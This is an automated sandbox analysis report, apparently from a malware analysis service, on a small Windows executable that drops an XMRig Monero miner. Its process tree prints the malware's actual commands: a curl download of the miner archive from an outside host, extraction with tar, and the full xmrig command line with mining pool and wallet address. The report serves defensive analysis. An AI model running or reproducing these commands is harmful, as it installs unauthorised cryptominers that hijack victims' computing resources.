Resubmissions
13/03/2024, 08:45
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240313-kms82aah481012/03/2024, 18:00
240312-wlevsshe861012/03/2024, 17:57
240312-wjxylahe481012/03/2024, 17:55
240312-whm21afc7t1012/03/2024, 17:54
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240312-wgg5csfc3y1012/03/2024, 17:52
240312-wf31fahd5810Analysis
- max time kernel
1796s - max time network
1819s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
12/03/2024, 18:00
General
- Target test - Copy - Copy - Copy (3).exe
- Size 6KB
- Sample240312-wlevsshe86
- SHA256 a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
Malware Config
Signatures
- XMRig Miner payload 63 IoCs
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy - Copy (3).exe"C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy - Copy (3).exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Ey25GUjZ.bat" "2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\curl.execurl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip3⤵
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C:\Windows\system32\tar.exetar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"3⤵
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C:\xmrig\xmrig-6.21.1\xmrig.exeC:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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-
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4092 --field-trial-handle=3136,i,3192284747741020952,1225278682167953346,262144 --variations-seed-version /prefetch:81⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3552 --field-trial-handle=3136,i,3192284747741020952,1225278682167953346,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
Ey25GUjZ.bat
xmrig-6.21.1-gcc-win64.zip
xmrig.exe
memory/924-57-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-64-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-25-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-91-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-26-0x00000256AC610000-0x00000256AC630000-memory.dmp
memory/924-27-0x00000256ADEE0000-0x00000256ADF00000-memory.dmp
memory/924-58-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-29-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-30-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-60-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-32-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-33-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-35-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-36-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-37-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-38-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-39-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-41-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-42-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-43-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-44-0x00000256AC610000-0x00000256AC630000-memory.dmp
memory/924-45-0x00000256ADEE0000-0x00000256ADF00000-memory.dmp
memory/924-46-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-47-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-48-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-49-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-50-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-51-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-52-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-53-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-54-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-55-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-56-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-22-0x00000256AC580000-0x00000256AC5A0000-memory.dmp
memory/924-28-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-24-0x00000256AC5D0000-0x00000256AC610000-memory.dmp
memory/924-31-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-61-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-62-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-63-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-59-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-65-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-66-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-67-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-68-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-69-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-70-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-71-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-72-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-73-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-74-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-75-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-76-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-77-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-78-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-79-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-80-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-81-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-82-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-83-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-84-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-85-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-86-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-87-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-88-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-89-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/924-90-0x00007FF6FED10000-0x00007FF6FF814000-memory.dmp
memory/1860-0-0x0000000000710000-0x0000000000718000-memory.dmp
memory/1860-6-0x00007FF836240000-0x00007FF836D01000-memory.dmp
memory/1860-23-0x00007FF836240000-0x00007FF836D01000-memory.dmp